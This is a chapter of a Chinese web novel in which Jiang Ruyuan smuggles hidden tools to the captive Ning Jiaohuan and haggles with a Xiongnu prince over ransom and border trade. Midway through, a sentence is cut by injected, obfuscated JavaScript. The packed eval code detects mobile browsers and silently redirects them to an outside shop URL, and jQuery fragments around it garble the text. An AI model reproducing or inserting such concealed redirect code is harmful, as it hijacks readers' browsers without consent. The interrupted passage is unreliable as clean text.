32. 秘密武器
作品:《机长闺蜜双穿竟成了夫妻》 江如愿的手,因为愤怒微微颤抖起来。她从未见过无耻到这种地步的人——把自己的过错全推给别人,把自己的背叛说成被迫,把别人的宽容当成理所应当。
她正要开口反驳,另一道声音却先响了起来。
“闭嘴!”
宁娇寰被绑着双手,却站得笔直,她抬起下巴,目光如刀,直直刺向孙潇言:“我收留如愿,乃是因为她品行端正!而你——色胆包天!深夜潜入我西营,对我营寨中的女子心生歹念。我才会略施惩戒,让你长个记性。你不思悔改,反而迁怒他人,背叛同袍,害我被俘。当真是厚颜无耻!”
孙潇言那一番言论原本是想表明他的背叛都是有原因的,但一番话下来,右贤王只觉得他这人睚眦必报、品行低劣,他的眼底闪过一丝不易察觉的嫌恶。
江如愿看着宁娇寰那道虽憔悴却依旧挺直的身影,她的心猛地揪紧,鼻尖涌上一股酸涩,她顾不得什么礼仪,什么掩饰,几步上前,一把拉住了宁娇寰的手:“娇寰姐,谢谢你。这段时间……你受苦了。”
就在这时,趁着帐内众人目光落在别处,江如愿的指尖飞快地一动。
一个极小的、用粗布包裹得严严实实的东西,从她的袖中滑出,悄无声息地塞进了宁娇寰囚衣宽大的袖口里。
宁娇寰的指尖触到那东西,微微一僵。她面上分毫不露,极快地将那一小包“秘密武器”往袖口深处塞了塞,动作轻得几乎察觉不到。
江如愿则在她身侧转过身,上前半步,恰好挡住右贤王投向这边的视线。
她微微欠身,神态恭敬:“请问右贤王负责关押宁阿姐的,是哪一位?怎么连饭都不让人吃饱?这才几日,我们的宁阿姐都瘦了一大圈了。”
右贤王靠在虎皮榻上,目光慢慢转向孙潇言,声音不高却自带威严:“孙潇言,本王把看守汉军俘虏的重任交给你,你可不能因公徇私、伺机报复,克扣俘虏的吃食。若是坏了本王的名声,辜负了本王对你的信任——”
右贤王还没有说完,孙潇言“扑通”一声跪倒在地,声音又尖又急:“小的不敢!小的万万不敢!右贤王明鉴,小的对您是忠心耿耿啊!”
江如愿稍稍松了一口气,是孙潇言负责看守俘虏的话,想救出娇寰姐就更容易了。
江如愿瞥了孙潇言一眼,眼底闪过一丝嫌恶。她不想再跟这个无耻之徒多费口舌,便转过身,再次朝右贤王行礼:“右贤王,在下还有一句忠言奉上。”
右贤王挑了挑眉:“哦?”
“右贤王英俊潇洒、气度不凡,想来定然是有家室的。不知——可有家眷随军出征呢?”
她顿了顿,目光有意无意地扫过跪在地上的孙潇言:“若是军中谁人带了妻女随行,可都得看管好了。别被那色胆包天的孙潇言——占了便宜。”
“江如愿!你——!”猛地抬起头,那张脸涨得通红,眼珠子瞪得几乎要凸出来,他指着江如愿,手指都在发抖,“你血口喷人!”
孙潇言磕了两个响头:“右贤王,小的冒着天下之大不韪投靠您,您可不要听信这浑小子的一面之词,就怀疑小的啊!”
右贤王的目光在两人之间来回扫了扫:“够了。”他猛地拍了一下桌案,“你俩都别吵了。”
他看向孙潇言,摆了摆手:“孙潇言,你先将人带下去。”
孙潇言如蒙大赦,连连叩首:“是!是!”
他爬起来,领着两名亲兵押着宁娇寰朝营帐外走去,在经过江如愿身侧时,猛地扭过头,狠狠地剜了她一眼。
江如愿视若无睹,目光只落在宁娇寰身上。
帐帘垂落,那道消瘦的身影终于消失在视线之外。
宁怀屹端坐于矮几之后,面上依旧是一派云淡风轻,骨扇轻摇,没有人看见他后槽牙咬得生疼,那握着扇骨的手,指节已隐隐泛白,却只能将所有的情绪压进胸腔深处。
帐内复归寂静。
那蓄着短须的军师上前一步,率先开口将话头引回正题:“人,诸位已经见过了。用三百万两白银来换——不亏吧?”
“哎——”
江如愿她拖长了尾音,眉头微蹙,一副有口难言的为难模样:“上谷郡的银库里……实在没有这么多银子啊。”
说话间,她的目光飞快地与宁怀屹对上一瞬,她朝他点了点头,宁怀屹立刻明白计划一切顺利。
宁怀屹缓缓起身,迈步走到帐中央,从胸口取出一本账册。
那是一本薄薄的册子,靛蓝封皮,边角已有些磨损,他双手捧着,恭敬地递给右贤王身侧的亲兵。
亲兵接过,转呈右贤王。
江如愿适时开口,语气诚恳,言辞恳切:“右贤王,这是上谷郡官府登记在册的全部银两和物件,尽数在此了。还请您过目。”
她顿了顿,目光扫过那本账册:“若是要让上谷郡的百姓把家中钱财都拿出来,赎回宁阿姐——只怕百姓们都要造反了啊。”
右贤王接过账册,翻看起来。
他的眉头,越拧越紧。
那账册上的记录密密麻麻,一笔一笔,清清楚楚——田赋、商税、徭役折银、库房存银……加起来,统共不过二十余万两。纸张泛黄,墨迹陈旧,不像是临时赶制出来的假账。
“啪!”
他猛地将账册扔在案上,声音里满是压抑不住的怒火:“哼!才二十万两白银——就想换回你们主帅的亲姐,还有那两百多名骑兵?想都别想!我看你们那位宁将军,根本就是在耍我!”
他猛地抬起右手——
只是一个眼神。
站在两侧的亲兵立刻会意,手中长刀“呛啷”出鞘!寒光一闪,冰冷的刀刃便架上十名使者的脖颈!
江如愿只觉得脖子上一凉,她的心猛地一缩,整个人下意识地往后一仰,但下一秒,她脸上已经堆满了笑。
“嘿嘿嘿——”她干笑几声,声音里带着几分恰到好处的惶恐,又带着几分让人不忍心继续发火的憨态,“尊敬的右贤王,您别生气嘛!”
她小心翼翼地伸出两根手指,轻轻推开架在脖子上的刀:“在下还没说完呢!您先别动粗嘛——”
右贤王挥了挥手。
亲兵们收回长刀,“呛啷”一声还入鞘中。
江如愿迈开步子,在帐中央慢慢踱起步来:
“两军交战,费时费力!人员伤亡惨重!咱们不如议和!互通商市!你匈奴商人来我上谷郡和魏郡,出售奶酒、皮草、牛羊——我们给你们免去赋税。你们就能赚到源源不断的钱财了。而我们大旭的稻谷、米面、茶叶、丝绸,也能卖给你们。价格从优,童叟无欺。还不用劳民伤财的打仗。这样岂不是两全其美!”
江如愿笑嘻嘻地站在原地,双手背在身后,一副
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17252603|195808||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
胸有成竹的模样。她歪着头,朝右贤王飞快地眨了眨眼,几分得意,分明是在说:瞧,我出的这主意多好!
可右贤王却不吃这套。
他一条腿翘起来搭在另一条腿上,整个人往后一靠,倚在那张铺着虎皮的卧榻上,下巴微微扬起,脸上写满了不屑。
“想跟本王互市?本王凭什么相信你们?”
他嗤笑一声,那笑声里满是讥讽:
你们那位宁将军,不过是区区一郡守将,品级不过四品。想跟本王议和互市?至少也得朝廷派大员来谈吧?还得送你们中原的公主来和亲!否则——本王凭什么相信你们的诚意?要是哪天你们的米面粮食都涨价了,我们岂不是任你们鱼肉?哼!”
他重重地哼了一声,那声音里满是不屑与嘲讽。
江如愿挠了挠头。啧,右贤王这老小子,还真挺精明的。
他说的这些,倒也不是全无道理——互市这种事,确实需要朝廷出面,需要双方都有足够的诚意和保障。否则哪天大旭翻脸不认人,匈奴确实会陷入被动。
江如愿眨眨眼,脸上又堆起那副笑嘻嘻的表情:“哎呀,右贤王,您别生气嘛!不瞒您说——这朝廷的大员,咱们宁将军也认识不少!他可是三代袭爵的侯府世子,若是宁将军真跟朝廷提议,派出公主和亲,也不是不可能呀!一切皆有可能嘛!嘿嘿。”
右贤王轻蔑一笑:“哼!等你们的宁将军去长安跟皇帝提议议和回来,我少说也要一个月!到那时,大军的粮草全都吃完了!”
江如愿挠挠头,耸了耸肩,长叹了一声:“哎!那三百万两白银,咱实在是没有啊。要不您……换个条件呗?”
……
几人就这样谈着,讨价还价,你来我往。
……
右贤王的军师时而插几句话,时而沉默不语。
江如愿一会儿赔笑,一会儿诉苦,一会儿又抛出几个新的条件。
宁怀屹始终坐在一旁,骨扇轻摇,一言不发,只是偶尔与江如愿交换一个眼神。
……
同一时刻。
囚帐里,三十多名女子兵手脚都绑着绳索,横七竖八挤在这临时搭起的帐子里,囚帐的地上只有干草,周围弥漫着马粪和泥土的气味,有人歪坐着,有人半躺着,气息奄奄。
囚帐里有两名匈奴看守,囚帐外有三十多名匈奴把守。
宁娇寰闭着眼,一动不动,仿佛已经睡着了。
不知过了多久,囚帐内看守的两名匈奴兵先后掀开帐帘钻出去透气换班去了。
帘子落下的瞬间,宁娇寰猛地睁开眼。
宁娇寰猛地睁开眼,飞快地环顾四周,确认没有匈奴后,她微微侧头。
坐在她身侧的昭昭和映雪立刻察觉,悄无声息地挪过来,用身子挡住了帐门的方向。
借着两人身子的掩护,宁娇寰悄悄从袖口深处掏出了江如愿偷偷塞给她的“秘密武器”。
她小心翼翼地拆开布包,里面有一张叠得方方正正的纸条,还有一个小小的瓷瓶,和十几枚薄如蝉翼的飞镖,还有一小包用油纸裹着的粉末,还有一截迷香。
她展开纸条,借着那盏昏暗的油灯,一个字一个字地看过去。
看着看着,宁娇寰的脸颊闪过一丝红晕,拳头也微微攥紧——这个如愿,总出一些“馊主意”,却也当真是聪明得紧!

